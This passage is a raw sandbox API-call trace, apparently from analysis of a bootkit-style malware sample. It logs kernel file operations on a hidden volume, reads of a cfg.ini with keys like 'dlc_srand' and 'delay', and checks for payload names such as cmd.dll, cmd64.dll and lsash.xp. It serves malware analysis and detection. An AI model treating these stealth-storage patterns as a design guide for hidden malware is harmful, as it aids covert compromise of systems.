_strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.859] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.859] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.859] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.859] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.859] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.859] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.860] KeLeaveCriticalRegion () [0126.860] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.860] ReleaseMutex (hMutex=0x100) returned 1 [0126.860] Sleep (dwMilliseconds=0x2bf20) [0126.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ed1a6b0, dwHighDateTime=0x1d24fa4)) [0126.868] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.868] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.868] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.868] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.868] KeEnterCriticalRegion () [0126.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.868] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.868] IdePortDispatch () returned 0x103 [0126.868] KeWaitForMutexObject () returned 0x0 [0126.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.868] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.868] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.868] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.868] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.868] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc770 [0126.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.869] KeLeaveCriticalRegion () [0126.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.869] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.869] KeEnterCriticalRegion () [0126.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.869] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.869] KeLeaveCriticalRegion () [0126.869] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.869] KeEnterCriticalRegion () [0126.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.869] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.869] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.869] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.869] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.869] IdePortDispatch () returned 0x103 [0126.869] KeWaitForMutexObject () returned 0x0 [0126.869] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.869] KeLeaveCriticalRegion () [0126.869] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.869] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.869] KeEnterCriticalRegion () [0126.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2e000 [0126.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.870] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.870] IdePortDispatch () returned 0x103 [0126.870] KeWaitForMutexObject () returned 0x0 [0126.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.870] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.870] IdePortDispatch () returned 0x103 [0126.870] KeWaitForMutexObject () returned 0x0 [0126.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.870] KeLeaveCriticalRegion () [0126.870] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.871] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.871] KeEnterCriticalRegion () [0126.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.871] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.871] KeLeaveCriticalRegion () [0126.871] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.871] KeEnterCriticalRegion () [0126.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.871] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.871] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.871] KeLeaveCriticalRegion () [0126.871] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.871] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.871] KeEnterCriticalRegion () [0126.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.871] ExFreePoolWithTag (P=0xfffffa8003acc770, Tag=0x0) [0126.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.871] KeLeaveCriticalRegion () [0126.871] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.871] ReleaseMutex (hMutex=0xf0) returned 1 [0126.871] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.872] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.872] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.872] KeEnterCriticalRegion () [0126.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.872] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.872] IdePortDispatch () returned 0x103 [0126.872] KeWaitForMutexObject () returned 0x0 [0126.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.872] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.872] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.872] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.872] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.872] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed6c0 [0126.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.872] KeLeaveCriticalRegion () [0126.872] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.872] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.872] KeEnterCriticalRegion () [0126.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.872] KeLeaveCriticalRegion () [0126.872] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.873] KeEnterCriticalRegion () [0126.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.873] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.873] IdePortDispatch () returned 0x103 [0126.873] KeWaitForMutexObject () returned 0x0 [0126.873] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.873] KeLeaveCriticalRegion () [0126.873] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.873] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.873] KeEnterCriticalRegion () [0126.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2f000 [0126.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.873] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.873] IdePortDispatch () returned 0x103 [0126.874] KeWaitForMutexObject () returned 0x0 [0126.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.874] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.874] IdePortDispatch () returned 0x103 [0126.874] KeWaitForMutexObject () returned 0x0 [0126.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.874] KeLeaveCriticalRegion () [0126.874] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.875] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.875] KeEnterCriticalRegion () [0126.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] KeLeaveCriticalRegion () [0126.875] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.875] KeEnterCriticalRegion () [0126.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.875] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] KeLeaveCriticalRegion () [0126.875] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.875] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.875] KeEnterCriticalRegion () [0126.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] ExFreePoolWithTag (P=0xfffffa80037ed6c0, Tag=0x0) [0126.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] KeLeaveCriticalRegion () [0126.875] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.875] ReleaseMutex (hMutex=0xf0) returned 1 [0126.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.875] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.875] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.875] KeEnterCriticalRegion () [0126.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.875] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.875] IdePortDispatch () returned 0x103 [0126.876] KeWaitForMutexObject () returned 0x0 [0126.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.876] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.876] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.876] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.876] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.876] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa780 [0126.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.876] KeLeaveCriticalRegion () [0126.876] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.876] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.876] KeEnterCriticalRegion () [0126.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.876] KeLeaveCriticalRegion () [0126.876] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.876] KeEnterCriticalRegion () [0126.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.876] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.876] IdePortDispatch () returned 0x103 [0126.877] KeWaitForMutexObject () returned 0x0 [0126.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.877] KeLeaveCriticalRegion () [0126.877] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.877] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.877] KeEnterCriticalRegion () [0126.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b30000 [0126.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.877] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.877] IdePortDispatch () returned 0x103 [0126.877] KeWaitForMutexObject () returned 0x0 [0126.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.877] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.877] IdePortDispatch () returned 0x103 [0126.878] KeWaitForMutexObject () returned 0x0 [0126.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.878] KeLeaveCriticalRegion () [0126.878] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.878] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.878] KeEnterCriticalRegion () [0126.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.878] KeLeaveCriticalRegion () [0126.878] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.878] KeEnterCriticalRegion () [0126.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.879] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.879] KeLeaveCriticalRegion () [0126.879] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.879] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.879] KeEnterCriticalRegion () [0126.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.879] ExFreePoolWithTag (P=0xfffffa8003bfa780, Tag=0x0) [0126.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.879] KeLeaveCriticalRegion () [0126.879] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.879] ReleaseMutex (hMutex=0xf0) returned 1 [0126.879] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.879] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.879] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.879] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.879] KeEnterCriticalRegion () [0126.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.879] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 